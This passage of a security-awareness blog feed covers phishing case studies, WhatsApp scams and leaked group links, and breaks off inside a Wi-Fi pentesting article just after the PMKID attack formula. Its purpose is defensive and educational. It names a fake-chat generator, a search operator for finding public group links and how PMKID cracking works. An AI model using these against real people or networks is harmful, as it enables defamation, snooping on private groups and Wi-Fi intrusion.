&lt;h3 id=&quot;the-lesson&quot;&gt;The Lesson&lt;/h3&gt;
&lt;p&gt;Technical expertise does not automatically protect against phishing. Even experts fall for attractive bait if the email is designed professionally enough. Furthermore, a single phishing simulation provides only limited insight: Was the email particularly convincing? Did someone click the wrong link? Was the bait unusually attractive?&lt;/p&gt;
&lt;p&gt;Anyone who wants to seriously measure their company’s security awareness level needs multiple simulated emails of increasing difficulty. It is recommended to send three emails over a period of six months. Well-prepared companies ultimately achieve click-through rates below 5 percent.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;case-study-2-finance-phishing---ai-voices-and-fake-letters&quot;&gt;Case Study 2: Finance Phishing - AI Voices and Fake Letters&lt;/h2&gt;
&lt;h3 id=&quot;what-happened-1&quot;&gt;What Happened&lt;/h3&gt;
&lt;p&gt;The financial sector has always been a prime target for phishing attacks - the potential for damage is high, and bank customers are highly sensitive to messages concerning their accounts. However, the methods have changed fundamentally in recent years.&lt;/p&gt;
&lt;p&gt;Two particularly effective current attack vectors in the financial sector:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;AI-generated voice calls:&lt;/strong&gt; Cybercriminals use artificial intelligence to generate voice calls that sound deceptively real. The AI analyzes real speech patterns and imitates bank employees. The calls contain urgent requests - such as verifying account details or confirming allegedly unusual transactions. The days when phishing could be recognized by poor pronunciation or a foreign accent are over.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Quishing - fake letters with manipulated QR codes:&lt;/strong&gt; In addition to voice calls, attackers rely on physical letters containing QR codes. This method, known as quishing, lures recipients to fraudulent websites that look deceptively real and request confidential information such as login credentials or credit card numbers. The insidious part: QR codes appear trustworthy and convenient to many users - a simple scan with a smartphone is enough to fall into the trap.&lt;/p&gt;
&lt;h3 id=&quot;what-this-means-1&quot;&gt;What this means&lt;/h3&gt;
&lt;p&gt;Banks generally do not unsolicitedly ask for sensitive data over the phone. Anyone who receives a suspicious call should end the conversation immediately and call the bank back using the official number on the website - never a number provided during the call. For QR codes from unknown sources: Do not scan them. If you do, carefully check the displayed URL before entering any data.&lt;/p&gt;
&lt;h3 id=&quot;the-lesson-1&quot;&gt;The Lesson&lt;/h3&gt;
&lt;p&gt;Financial phishing has reached a new level of threat. Spelling mistakes as a telltale sign of phishing are a thing of the past. Today, attackers produce professional emails, convincing voices, and deceptively authentic websites. Security awareness must keep pace with this development - mistrust of unsolicited requests is not a sign of paranoia, but of competence.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;case-study-3-black-friday---shopping-frenzy-as-a-vulnerability&quot;&gt;Case Study 3: Black Friday - Shopping Frenzy as a Vulnerability&lt;/h2&gt;
&lt;h3 id=&quot;what-happened-2&quot;&gt;What Happened&lt;/h3&gt;
&lt;p&gt;Black Friday is a golden opportunity for cybercriminals. Millions of people are in the mood to shop at the same time, expect a flood of promotional emails, and act under time pressure. This combination of high email volume, emotional motivation to buy, and time pressure significantly lowers cognitive defenses.&lt;/p&gt;
&lt;p&gt;Phishing campaigns on Black Friday specifically exploit several psychological triggers:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Artificial time pressure:&lt;/strong&gt; Many Black Friday deals are only available for a short time. This stress causes shoppers to click on links without verifying the source. Countdown timers and “Only 3 left” messages amplify this effect.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Professional imitation of well-known brands:&lt;/strong&gt; Phishing emails and websites are so well-crafted today that they can deceive even the most experienced eyes. Scammers copy the designs, logos, and fonts of well-known retailers with such precision that their messages are nearly indistinguishable from genuine offers. Phrases like &quot;Exclusive Deal&quot; or &quot;Last Chance&quot; tempt many to act without much thought.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Volume as a disguise:&lt;/strong&gt; Phishing attempts easily get lost among legitimate promotional emails from retailers. People scroll through their inboxes, skim messages, and often no longer check the details.&lt;/p&gt;
&lt;h3 id=&quot;what-this-means-2&quot;&gt;What this means&lt;/h3&gt;
&lt;p&gt;Anyone shopping online on Black Friday should consistently ignore unknown senders and access offers directly through the retailer’s website - not via links in emails. A pre-made list of reputable retailers with saved favorites protects against accidentally landing on a fake site.&lt;/p&gt;
&lt;p&gt;Secure payment methods like PayPal or virtual credit cards offer additional protection, as fraudsters cannot gain direct access to your bank account in the event of an attack. Public Wi-Fi networks should generally be avoided for shopping.&lt;/p&gt;
&lt;h3 id=&quot;the-lesson-2&quot;&gt;The Lesson&lt;/h3&gt;
&lt;p&gt;Seasonal events with high emotional engagement - shopping events, tax refund periods, times of crisis - are regularly peak periods for phishing. Attackers systematically align their campaigns with the calendar. Companies should design their &lt;a href=&quot;https://a7.de/en/services/security-awareness/&quot;&gt;security awareness measures&lt;/a&gt; to be timing-sensitive: Training held shortly before Black Friday is more effective than training in February.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;case-study-4-energy-subsidy-as-phishing-bait---current-events-systematically-exploited&quot;&gt;Case Study 4: Energy Subsidy as Phishing Bait - Current Events Systematically Exploited&lt;/h2&gt;
&lt;h3 id=&quot;what-happened-3&quot;&gt;What Happened&lt;/h3&gt;
&lt;p&gt;This case study illustrates a broader pattern that remains timeless: Attackers use political and social events as bait. The specific example was the energy subsidy - a one-time government payment to offset rising energy costs in Germany.&lt;/p&gt;
&lt;p&gt;At least three different phishing campaigns ran in parallel:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Campaign 1 - Gas Price Subsidy Program:&lt;/strong&gt; Phishing emails claimed to be part of an alleged government subsidy program for reduced gas prices. Linked websites requested names, addresses, credit card numbers, and bank account details. The Federal Network Agency issued an explicit warning about these sites. The stolen data was used to drain bank accounts or misuse credit card information for large-scale purchases.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Campaign 2 - Sparkasse Promises 500 Euros:&lt;/strong&gt; A second campaign used the Sparkasse logo and brand. Phishing emails promised a 500-euro energy rebate, allegedly to be paid out via Sparkasse - all one had to do was quickly confirm their details. The Sparkasse logo gave the message increased credibility for many recipients and prevented them from critically questioning it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Campaign 3 - SMS from the Ministry of Finance (smishing):&lt;/strong&gt; The third variant was sent via SMS - so-called smishing. A purported SMS from the Ministry of Finance announced a refund. The amount listed was intentionally odd - such as 224.25 euros instead of a round sum - to feign legitimacy. A link led to forms requesting personal and financial data.&lt;/p&gt;
&lt;h3 id=&quot;what-this-means-3&quot;&gt;What this means&lt;/h3&gt;
&lt;p&gt;Anyone receiving such messages should not open any links or enter any data. No trustworthy government or private-sector institution requests sensitive financial data via email or SMS through opaque URLs. If in doubt: call the alleged sender directly - using an official number you’ve looked up yourself, not one provided in the message.&lt;/p&gt;
&lt;h3 id=&quot;the-lesson-3&quot;&gt;The Lesson&lt;/h3&gt;
&lt;p&gt;The pattern behind this case study is independent of the specific energy subsidy and repeats itself with every publicly relevant event: pandemic relief payments, tax refunds, government subsidy programs, crises. Attackers often react to current events faster than security authorities can issue warnings. Companies and individuals must learn to ask themselves with every unsolicited message: “Why is this coming now, and why through this channel?”&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;common-patterns-what-all-four-cases-have-in-common&quot;&gt;Common Patterns: What All Four Cases Have in Common&lt;/h2&gt;
&lt;p&gt;Even though the four case studies have very different contexts, they share the same basic patterns:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Emotional Hook:&lt;/strong&gt; Every successful phishing campaign appeals to a strong emotion - joy at winning a MacBook, fear of account misuse, shopping frenzy on Black Friday, hope for government relief. People who react emotionally are less likely to think critically.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Time Pressure:&lt;/strong&gt; Almost all phishing messages create artificial pressure. &quot;Act now,&quot; &quot;Today only,&quot; &quot;Your account will be blocked.&quot; Time pressure shuts down rational decision-making processes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Trustworthy Senders:&lt;/strong&gt; Attackers impersonate well-known brands, government institutions, or the victim’s own IT department. The savings bank logo, the bank employee on the phone, the official government text message - familiarity lowers the barrier to clicking.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Professional presentation:&lt;/strong&gt; The quality of phishing emails and websites has increased dramatically. Spelling mistakes and poor graphics are no longer reliable indicators of a scam. AI helps attackers create deceptively authentic content in any language.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Multiple parallel campaigns:&lt;/strong&gt; The energy flat-rate example shows that attackers often run several variants simultaneously when targeting a lucrative topic. Knowing one attack vector does not automatically protect you from the others.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;what-companies-can-do-specifically&quot;&gt;What companies can do specifically&lt;/h2&gt;
&lt;p&gt;The lessons from the four case studies can be translated into concrete measures:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Conduct phishing simulations regularly:&lt;/strong&gt; A single simulation provides little meaningful data. A program involving three emails of increasing difficulty over six months reliably measures the level of awareness and shows whether training measures are effective. Well-prepared companies achieve click-through rates below 5 percent. A professional &lt;a href=&quot;https://a7.de/en/services/security-awareness/phishing-simulation/&quot;&gt;phishing simulation&lt;/a&gt; reveals where the actual vulnerabilities lie within the company.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Avoid punishment:&lt;/strong&gt; GitLab’s approach is exemplary. Employees who fall for simulated phishing emails receive guidance and training materials - no consequences. Punishment creates fear and lowers productivity without increasing security.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Establish and practice reporting channels:&lt;/strong&gt; Only six out of 50 GitLab employees reported the suspicious email. A clear, simple reporting channel - for example, a button in the email client or a dedicated address - increases this rate. Reports should be acknowledged promptly so employees know their report has been received.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Consistently use two-factor authentication:&lt;/strong&gt; Even if login credentials are stolen in a phishing attack, 2FA prevents attackers from accessing accounts with them. This is one of the most effective technical safeguards.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Schedule training sessions accordingly:&lt;/strong&gt; Seasonal peaks - Black Friday, tax season, government payments, current crises - are peak times for phishing. &lt;a href=&quot;https://a7.de/en/services/security-awareness/&quot;&gt;Security awareness training&lt;/a&gt; should be scheduled so that employees are made aware of the risks shortly before these periods.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cultivate critical thinking:&lt;/strong&gt; The most important protective measure is cultural in nature: employees must feel confident to pause and verify suspicious messages. This requires a corporate culture in which skepticism toward unexpected requests is viewed as a skill - not as mistrust.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Implement technical safeguards:&lt;/strong&gt; Anti-phishing software and browser extensions detect many known phishing websites before employees open them. Email security solutions filter out suspicious messages. These measures do not replace awareness training, but they significantly reduce the attack surface.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Phishing remains the most effective entry point for cyberattacks - because it targets people, not technology. The four case studies show that neither technical expertise nor vigilance alone is sufficient. Systematic preparation, regular practice, and an open security culture are the foundation for effective protection.&lt;/p&gt;</content:encoded><category>Security Awareness</category><author>kontakt@a7.de (Chris Wojzechowski)</author></item><item><title>WhatsApp Scams: Fake Chats, Phishing and Social Engineering</title><link>https://a7.de/en/blog/recognizing-whatsapp-scams-fake-chats-phishing-and-social/</link><guid isPermaLink="true">https://a7.de/en/blog/recognizing-whatsapp-scams-fake-chats-phishing-and-social/</guid><description>Fake WhatsApp Chats, Messenger Phishing, and Social Engineering: How Attackers Abuse WhatsApp, How to Spot Scams, and How to Protect Your Business.</description><pubDate>Tue, 10 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;WhatsApp isn’t just a communication tool - it’s also a tool for attacks. Attackers, scammers, and bullies deliberately exploit the messaging app: they create deceptively realistic fake chat histories, send manipulative messages in groups, gain unauthorized access via public group links, and exploit the trust people place in familiar contacts for social engineering attacks.&lt;/p&gt;
&lt;p&gt;This article explains the types of scams that exist on WhatsApp, how they work - and how companies can protect their employees from them.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;fake-whatsapp-chats-realistic-fakes-in-minutes&quot;&gt;Fake WhatsApp Chats: Realistic Fakes in Minutes&lt;/h2&gt;
&lt;h3 id=&quot;how-easy-is-it-to-fake-a-whatsapp-chat-history&quot;&gt;How easy is it to fake a WhatsApp chat history?&lt;/h3&gt;
&lt;p&gt;The answer is uncomfortable: very easy. There are specialized apps available in the official app stores for Android and iOS, as well as several websites dedicated to this very purpose. Tools like &lt;code&gt;fakewhats.com&lt;/code&gt; allow you to design a WhatsApp chat history graphically - with freely selectable sender names, timestamps, profile pictures, and message content.&lt;/p&gt;
&lt;p&gt;The more labor-intensive but 100% “real” method: Two people coordinate, one renames their contact accordingly, and both type the desired content - the resulting screenshot is then a genuine screenshot of a real WhatsApp chat.&lt;/p&gt;
&lt;p&gt;Both methods produce results that are visually almost indistinguishable from an authentic chat history.&lt;/p&gt;
&lt;h3 id=&quot;what-specific-harm-does-this-cause&quot;&gt;What specific harm does this cause?&lt;/h3&gt;
&lt;p&gt;What is marketed as a fun tool for harmless pranks has a serious downside:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Bullying in schools:&lt;/strong&gt; Students use fake chat generators to defame classmates or incriminate teachers with fabricated, inappropriate conversation histories. Those affected can hardly defend themselves - because the authenticity of a screenshot is difficult to refute.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Reputation damage and blackmail:&lt;/strong&gt; Fake chat histories can be used in both private and professional settings to discredit individuals, exert pressure, or seemingly substantiate false claims.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Falsification of evidence:&lt;/strong&gt; In a legal context, WhatsApp screenshots are increasingly appearing as purported evidence. The problem: Without forensic examination, their authenticity can neither be confirmed nor refuted.&lt;/p&gt;
&lt;h3 id=&quot;consequences-for-companies&quot;&gt;Consequences for companies&lt;/h3&gt;
&lt;p&gt;Without forensic examination, screenshots from WhatsApp chats are of limited value as evidence in labor law or criminal disputes. Companies that document internal compliance incidents or wish to use employee communications as evidence should not rely solely on messenger screenshots.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;messenger-phishing-via-whatsapp-the-contact-trust-attack&quot;&gt;Messenger Phishing via WhatsApp: The Contact Trust Attack&lt;/h2&gt;
&lt;h3 id=&quot;the-basic-principle-of-whatsapp-phishing&quot;&gt;The Basic Principle of WhatsApp Phishing&lt;/h3&gt;
&lt;p&gt;Email phishing is well known - but messenger phishing is still underestimated in many companies. WhatsApp offers attackers a decisive advantage over email: trust in the sender is higher. A message that appears to come from a known contact triggers less skepticism than an anonymous email.&lt;/p&gt;
&lt;p&gt;The most common attack patterns:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Account takeover as a starting point:&lt;/strong&gt; Attackers first take over a contact’s WhatsApp account (e.g., through SIM swapping or compromising a WhatsApp Web session). They then message that person’s contacts on their behalf.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Direct impersonation:&lt;/strong&gt; Without taking over an account, contact names are set up in a new account to mimic a familiar person. Those who don’t pay close attention to the phone number may not notice the deception.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Urgent requests for money:&lt;/strong&gt; A typical pattern is: “I urgently need money; I can’t check my phone right now - can you quickly transfer X euros to me?” The message appears to come from a family member or a close colleague.&lt;/p&gt;
&lt;h3 id=&quot;whatsapp-as-a-channel-for-ceo-fraud&quot;&gt;WhatsApp as a Channel for CEO Fraud&lt;/h3&gt;
&lt;p&gt;In a business context, WhatsApp is increasingly being misused for CEO fraud variants. Attackers pose as executives and pressure employees to make quick transfers or disclose confidential information - citing alleged urgency and requesting that no other channels be used.&lt;/p&gt;
&lt;p&gt;The pattern resembles classic email CEO fraud but exploits the heightened trust in the messaging platform.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;dangerous-messages-in-whatsapp-groups&quot;&gt;Dangerous Messages in WhatsApp Groups&lt;/h2&gt;
&lt;h3 id=&quot;groups-as-a-multiplier-for-attacks&quot;&gt;Groups as a Multiplier for Attacks&lt;/h3&gt;
&lt;p&gt;WhatsApp groups exponentially increase the reach of an attack. What affects one victim in a single message can affect up to 100 victims in a group with 100 members with the same effort.&lt;/p&gt;
&lt;p&gt;Specific forms of attacks in groups:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Files infected with malicious code:&lt;/strong&gt; Attackers send files in groups that are disguised as images, PDFs, or documents but may contain malicious code. This is not an abstract threat - in 2017, Check Point demonstrated how a specially crafted image in the web version of WhatsApp can lead to complete account takeover.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Psychological manipulation through chain letters:&lt;/strong&gt; Classic chain letters - “Forward this to 10 contacts, or else...” - are a form of social engineering. They create a false sense of urgency and exploit the desire to protect or warn social groups.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Disinformation and fake news:&lt;/strong&gt; Groups are a preferred channel for spreading false information. In a corporate context, this can lead to poor business decisions if unverified information is treated as fact.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&quot;Scary Messages&quot; as Denial-of-Service:&lt;/strong&gt; As described in the security article, specially crafted messages containing unreadable characters can cause WhatsApp to crash on recipients’ devices. Such messages are typically spread in groups to target as many victims as possible at once.&lt;/p&gt;
&lt;h3 id=&quot;what-group-administrators-need-to-know&quot;&gt;What Group Administrators Need to Know&lt;/h3&gt;
&lt;p&gt;Anyone who administers a WhatsApp group bears responsibility for protecting its members. The following measures reduce the risk:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Restrict messaging rights:&lt;/strong&gt; In groups with a one-way flow of information (e.g., class information groups, company announcements), the setting should be enabled so that only administrators can send messages. This prevents third parties from spreading messages via a compromised or infiltrated account.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Selecting Administrators:&lt;/strong&gt; Not all members should be granted administrator rights. Administrator rights allow the removal of other members, changes to group settings, and management of posting permissions.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Identifying Unknown Senders:&lt;/strong&gt; If a person suddenly becomes active in the group whom no one knows - and they joined via a compromised invitation link - the member should be removed and the link reset.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;public-group-invitation-links-the-gateway-for-intruders&quot;&gt;Public Group Invitation Links: The Gateway for Intruders&lt;/h2&gt;
&lt;h3 id=&quot;how-strangers-sneak-into-private-groups&quot;&gt;How Strangers Sneak into Private Groups&lt;/h3&gt;
&lt;p&gt;WhatsApp group invitation links are a convenient feature - and a significant security risk if they are inadvertently made public. Anyone who has such a link can join the group without needing to be invited by a member.&lt;/p&gt;
&lt;p&gt;Such links become public when:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A group member accidentally shares the link on social media, forums, or via email&lt;/li&gt;
&lt;li&gt;The link appears in a screenshot that is shared publicly&lt;/li&gt;
&lt;li&gt;The link is published on a website and indexed by search engines&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;At a time when Bing had not yet taken countermeasures, more than 200,000 WhatsApp group chats were publicly discoverable using a simple &lt;code&gt;site:chat.whatsapp.com&lt;/code&gt; search operator - including private family, sports, and club groups.&lt;/p&gt;
&lt;h3 id=&quot;who-is-in-your-group&quot;&gt;Who is in your group?&lt;/h3&gt;
&lt;p&gt;An attacker who has joined a company group via a publicly leaked link can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Read all messages and shared files&lt;/li&gt;
&lt;li&gt;View profile pictures and phone numbers of all members&lt;/li&gt;
&lt;li&gt;Send messages in the style of other members (social engineering)&lt;/li&gt;
&lt;li&gt;Distribute malicious files or links&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Recommendation:&lt;/strong&gt; Regularly check the member list of your WhatsApp groups - especially for corporate groups. If an unknown member appears: Remove them and immediately reset the invitation link (Group Info &amp;gt; Invitation Link &amp;gt; Reset Link).&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;secure-group-management-7-rules-for-whatsapp-groups-in-a-corporate-context&quot;&gt;Secure Group Management: 7 Rules for WhatsApp Groups in a Corporate Context&lt;/h2&gt;
&lt;p&gt;Specific rules of conduct can be derived from all the attack scenarios described:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Do not forward chain letters&lt;/strong&gt;
Chain letters rarely contain verified information. Forwarding them may spread misinformation or help attackers distribute malicious code.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Do not open unknown files&lt;/strong&gt;
Images, PDFs, and documents from unknown or unexpected sources should not be opened - even if the sender appears to be a known contact. When in doubt: verify via another channel.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Check messages before forwarding&lt;/strong&gt;
WhatsApp flags forwarded messages. This is a first indication - but not proof of authenticity. Important information from groups should be verified through official channels.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. Do not share invitation links publicly&lt;/strong&gt;
Group invitation links do not belong on websites, in public forums, or in open social media posts. New members should be invited individually via trusted channels.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. Use the administrator function strategically&lt;/strong&gt;
The option to restrict writing permissions to administrators should be enabled by default in information groups. The &quot;send to all&quot; function can then be opened for specific discussion phases and restricted again afterward.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;6. Report suspicious activity immediately&lt;/strong&gt;
If suspicious messages appear in a company group or unknown members join, this should be reported immediately to the IT security team or management.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;7. Do not accept screenshot evidence uncritically&lt;/strong&gt;
Given how easily WhatsApp chat histories can be faked, screenshots from messaging apps should be critically scrutinized in legal or disciplinary proceedings.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;broadcast-lists-as-a-safer-alternative-to-groups&quot;&gt;Broadcast Lists as a Safer Alternative to Groups&lt;/h2&gt;
&lt;p&gt;For situations where information needs to be sent to many recipients without them coming into contact with one another, WhatsApp offers broadcast lists as an alternative.&lt;/p&gt;
&lt;p&gt;The difference: Recipients of a broadcast list receive the message as an apparently personal direct message and cannot see the replies from other recipients. There is no shared group space where members could influence or attack one another.&lt;/p&gt;
&lt;p&gt;Suitable use cases:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Event announcements that do not require discussion&lt;/li&gt;
&lt;li&gt;Information for many recipients who are not supposed to know each other&lt;/li&gt;
&lt;li&gt;Invitations to events&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Not suitable for broadcast lists: All forms of collaborative communication where an exchange between participants is desired.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;phishing-simulations-how-to-test-your-teams-resilience&quot;&gt;Phishing Simulations: How to Test Your Team’s Resilience&lt;/h2&gt;
&lt;p&gt;The ability to recognize phishing attempts - including those via messengers like WhatsApp - is a skill that can be learned. Studies consistently show that people who were confronted with simulated phishing attacks in controlled environments and subsequently received an explanation perform significantly better in later real attacks.&lt;/p&gt;
&lt;p&gt;A &lt;a href=&quot;https://a7.de/en/services/security-awareness/phishing-simulation/&quot;&gt;phishing simulation&lt;/a&gt; typically includes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Sending deceptively real phishing messages to employees (in coordination with company management)&lt;/li&gt;
&lt;li&gt;Documenting who falls for the simulation and what actions are taken&lt;/li&gt;
&lt;li&gt;Targeted training for the affected individuals afterward&lt;/li&gt;
&lt;li&gt;Measuring improvement over time&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Messenger phishing can be integrated into such simulations as an additional channel - this makes the results more realistic and the training more effective.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;what-to-do-if-youve-fallen-victim-to-a-whatsapp-scam&quot;&gt;What to do if you’ve fallen victim to a WhatsApp scam?&lt;/h2&gt;
&lt;p&gt;If you or employees at your company have fallen victim to a WhatsApp scam:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Immediate actions:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Secure your WhatsApp account immediately: Enable two-step verification, check all linked devices, and end any unrecognized sessions&lt;/li&gt;
&lt;li&gt;Notify contacts: If your account has been compromised, all relevant contacts should be notified via another channel so they know that messages may have been sent in your name&lt;/li&gt;
&lt;li&gt;File a police report: In cases of extortion, fraud, or defamation, a report should be filed with the police - messenger communications can be preserved as digital evidence&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;For companies:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Notify the IT security team&lt;/li&gt;
&lt;li&gt;Document the incident (time, type of message, affected individuals)&lt;/li&gt;
&lt;li&gt;Check whether confidential company data has been compromised&lt;/li&gt;
&lt;li&gt;Inform employees about the incident promptly without causing panic&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;conclusion-trust-is-the-biggest-risk-factor&quot;&gt;Conclusion: Trust is the biggest risk factor&lt;/h2&gt;
&lt;p&gt;WhatsApp scams work because they exploit the trust we place in familiar contacts, in familiar user interfaces, and in seemingly authentic messages. Fake chat histories look real. Messages from “friends” aren’t questioned. Group links appear harmless.&lt;/p&gt;
&lt;p&gt;Technical security measures help - but the decisive protective factor is the awareness of the people who use WhatsApp every day. Those who know how fake chats are created will view screenshots more critically. Those who know how messenger phishing works will ask questions when faced with unexpected payment requests. Those who know how group links become public will be more careful about sharing.&lt;/p&gt;
&lt;p&gt;Security awareness is not a one-time training session - it is an ongoing process. Learn how AWARE7 can support you in this: &lt;a href=&quot;https://a7.de/en/services/security-awareness/&quot;&gt;/services/security-awareness/&lt;/a&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;Further reading:&lt;/strong&gt; Check out our article &lt;a href=&quot;https://a7.de/blog/whatsapp-sicherheit-datenschutz/&quot;&gt;WhatsApp Security and Privacy&lt;/a&gt;, which covers encryption, the backdoor debate, WhatsApp Web risks, and privacy settings.&lt;/p&gt;</content:encoded><category>Security Awareness</category><author>kontakt@a7.de (Chris Wojzechowski)</author></item><item><title>WLAN Penetration Testing: Tools, Methods and Attack Vectors</title><link>https://a7.de/en/blog/wlan-penetration-testing-tools-methods-and-attack-vectors/</link><guid isPermaLink="true">https://a7.de/en/blog/wlan-penetration-testing-tools-methods-and-attack-vectors/</guid><description>See the Wi-Fi attacks penetration testers use, from Evil Twin to WPS brute-force, with the countermeasures that stop each one.</description><pubDate>Mon, 09 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Your Wi-Fi network has no physical boundaries. The signal penetrates walls, floors, and building facades. An attacker in a neighboring building, in the parking lot, or on the street outside can pick up your wireless signal - and, if security is inadequate, launch an attack without ever physically entering your premises.&lt;/p&gt;
&lt;p&gt;A Wi-Fi penetration test simulates exactly these attacks under controlled conditions. This article explains the methods used, the tools pentesters employ, and what the results of such a test mean.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;what-a-wi-fi-penetration-test-encompasses&quot;&gt;What a Wi-Fi Penetration Test Encompasses&lt;/h2&gt;
&lt;p&gt;A professional Wi-Fi penetration test examines the entire Wi-Fi infrastructure for exploitable vulnerabilities. Typical areas of testing:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Encryption standard:&lt;/strong&gt; Which WPA version is in use? Is WEP still active? Is WPS offered?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Password strength:&lt;/strong&gt; Can the WPA2-PSK password be cracked using an offline brute-force attack?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;802.1X configuration:&lt;/strong&gt; Are certificates set up correctly? Does the RADIUS server accept self-signed certificates?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Network Segmentation:&lt;/strong&gt; Is the guest Wi-Fi actually separated from the production network?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rogue Access Points:&lt;/strong&gt; Can fake APs be infiltrated without being detected?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Management Frame Protection:&lt;/strong&gt; Is 802.11w active? Can deauthentication attacks be carried out?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Client Security:&lt;/strong&gt; Do clients automatically connect to open networks with the same name?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The test is always conducted on behalf of the owner of the infrastructure being tested. Wi-Fi testing without explicit written permission is a criminal offense - even against one’s own home network from a remote location.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;attack-vectors-in-detail&quot;&gt;Attack Vectors in Detail&lt;/h2&gt;
&lt;h3 id=&quot;pmkid-attack-against-wpa2-psk&quot;&gt;PMKID Attack Against WPA2-PSK&lt;/h3&gt;
&lt;p&gt;The PMKID attack is one of the most effective attacks against WPA2-Personal networks because it does not require an active client. Classic WPA2 attacks required the so-called 4-way handshake, which can only be intercepted when a client establishes a connection. In a PMKID attack, a single frame from the access point itself is sufficient.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Technical Process:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The PMKID (Pairwise Master Key Identifier) is calculated from the PMK, the AP’s MAC address, and the client’s MAC address:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;PMKID = HMAC-SHA1-128(PMK, &quot;PMK Name&quot; || BSSID || Client-MAC)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The PMK, in turn, is derived from the WPA2-PSK password. If an attacker knows the PMKID, they can try passwords offline without ever having to disconnect and reconnect a client.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tools:&lt;/strong&gt;&lt;/p&gt;
